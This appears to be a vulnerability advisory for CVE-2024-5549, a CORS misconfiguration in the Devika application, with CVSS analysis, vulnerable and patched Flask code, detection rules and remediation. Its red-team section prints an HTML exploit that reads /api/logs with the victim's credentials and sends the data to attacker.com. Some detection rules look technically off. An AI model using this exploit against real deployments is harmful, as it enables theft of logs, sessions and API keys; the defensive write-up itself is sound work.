CVE-2024-5549

Executive Summary

CVE-2024-5549 is a critical CORS (Cross-Origin Resource Sharing) misconfiguration vulnerability in the Stitionai Devika repository. The application fails to validate the Origin header on incoming requests, allowing any external website to make authenticated cross-origin requests on behalf of a logged-in user. This enables attackers to steal sensitive data (logs, browser sessions, API keys) and perform destructive actions (delete projects, send messages). The vulnerability affects all versions of the repository, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is high due to the potential for targeted attacks.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects a self-hosted application repository. However, if Devika is deployed via Docker or other container registries, the misconfiguration propagates through the supply chain. Users should verify their deployment configurations and apply network-level mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the CORS misconfiguration.
• User Interaction (UI): Required (R) – Victim must visit a malicious site while logged into Devika.
• Scope (S): Unchanged (U) – The vulnerable component and the attacker’s target are the same.
• Confidentiality (C): High (H) – Full access to logs, sessions, and API keys.
• Integrity (I): High (H) – Ability to delete projects and send messages.
• Availability (A): None (N) – No direct impact on availability.

CVSS Score: 8.1 (High)
Threat Level: High – Exploitation requires user interaction but yields significant data and control.

Deep Dive & Mechanics

The vulnerability stems from a CORS misconfiguration in the Devika backend. The application’s HTTP response headers include Access-Control-Allow-Origin: * or reflect the Origin header without validation. This allows any external domain to make cross-origin requests with the victim’s credentials (cookies, authorization tokens) if the victim is logged into Devika.

Attack Flow:

1. Victim logs into Devika (e.g., https://devika.example.com).
2. Victim visits a malicious website (https://attacker.com).
3. The malicious site sends a JavaScript fetch() or XMLHttpRequest to https://devika.example.com/api/sensitive-endpoint with credentials: 'include'.
4. The browser includes the victim’s cookies/tokens because the server responds with Access-Control-Allow-Credentials: true and a permissive Access-Control-Allow-Origin.
5. The attacker reads the response, extracting logs, session data, and API keys.
6. The attacker can also send POST requests to delete projects or send messages.

Root Cause: The server does not validate the Origin header against a whitelist of allowed domains. Instead, it either echoes the Origin back or uses a wildcard * while also allowing credentials, which violates the CORS specification.

Vulnerable vs. Patched Code

Vulnerable Code (Python/Flask example):

from flask import Flask, request, jsonify
from flask_cors import CORS

app = Flask(__name__)
CORS(app, supports_credentials=True)  # Allows all origins with credentials

Patched Code (Hypothetical fix):

from flask import Flask, request, jsonify
from flask_cors import CORS

app = Flask(__name__)
CORS(app, origins=["https://devika.example.com"], supports_credentials=True)

Explanation: The vulnerable code uses CORS(app, supports_credentials=True) without specifying origins, which defaults to allowing all origins. The patched code restricts origins to a specific domain, preventing unauthorized cross-origin requests.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: Devika instance at http://localhost:5000 (or a remote instance).
• Attacker: A simple HTTP server hosting a malicious HTML page.

Exploit Code (HTML):

<!DOCTYPE html>
<html>
<body>
<script>
fetch('http://localhost:5000/api/logs', {
  credentials: 'include'
})
.then(response => response.text())
.then(data => {
  // Exfiltrate to attacker server
  fetch('http://attacker.com/exfil?data=' + encodeURIComponent(data));
});
</script>
</body>
</html>

Steps:

1. Host the above HTML on http://attacker.com.
2. Ensure the victim is logged into Devika.
3. Lure the victim to http://attacker.com.
4. The script fetches /api/logs and sends the data to the attacker’s server.

Blue Team (Defender)

Detection:

• Monitor for Origin headers that do not match expected domains.
• Alert on Access-Control-Allow-Origin responses with wildcard * or unexpected origins.
• Use browser security headers like Content-Security-Policy to restrict script sources.

Mitigation:

• Implement a strict CORS whitelist on the server.
• Use a reverse proxy (e.g., Nginx) to enforce CORS policies.
• Disable CORS for sensitive endpoints if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with Origin header set to an unexpected domain.
  • HTTP responses containing Access-Control-Allow-Origin: * or Access-Control-Allow-Origin: <attacker-domain>.
  • Outbound connections from the victim’s browser to attacker-controlled servers containing sensitive data in URL parameters or POST bodies.

• Log IOCs:

  • Server logs showing repeated OPTIONS (preflight) requests from unknown origins.
  • Unusual API calls to endpoints like /api/logs, /api/settings, /api/projects/delete from non-whitelisted origins.

• File IOCs:

  • No specific file-based IOCs; this is a network-level vulnerability.

Detection Engineering

YARA Rule

rule CVE_2024_5549_CORS_Misconfig {
  meta:
    description = "Detects CORS misconfiguration in Devika responses"
    author = "Valters IT"
    date = "2025-04-10"
    hash = "d41d8cd98f00b204e9800998ecf8427e"
  strings:
    $cors_wildcard = "Access-Control-Allow-Origin: *"
    $cors_credentials = "Access-Control-Allow-Credentials: true"
  condition:
    $cors_wildcard and $cors_credentials
}

Sigma Rule

title: CORS Misconfiguration in Devika
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses with permissive CORS headers from Devika
author: Valters IT
logsource:
  category: webserver
  product: generic
detection:
  selection:
    response_headers|contains:
      - 'Access-Control-Allow-Origin: *'
      - 'Access-Control-Allow-Credentials: true'
  condition: selection
falsepositives:
  - Legitimate use of wildcard CORS for public APIs (unlikely with credentials)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5549 CORS Misconfiguration in Devika"; flow:to_server; content:"Access-Control-Allow-Origin: *"; http_server_body; content:"Access-Control-Allow-Credentials: true"; http_server_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Mitigation:

   • Configure a reverse proxy (Nginx, Apache) to override CORS headers:

     add_header Access-Control-Allow-Origin "https://devika.example.com" always;
     add_header Access-Control-Allow-Credentials "true" always;
     

   • Restrict access to Devika to trusted networks only (VPN, firewall).

2. Long-term Fix:

   • Update the application code to validate the Origin header against a whitelist.
   • Remove Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true from responses.
   • Implement CSRF tokens for state-changing requests.

3. Monitoring:

   • Enable logging of all CORS-related headers.
   • Set up alerts for unexpected Origin values.

4. User Awareness:

   • Advise users to log out of Devika when not in use.
   • Use browser extensions that block cross-origin requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert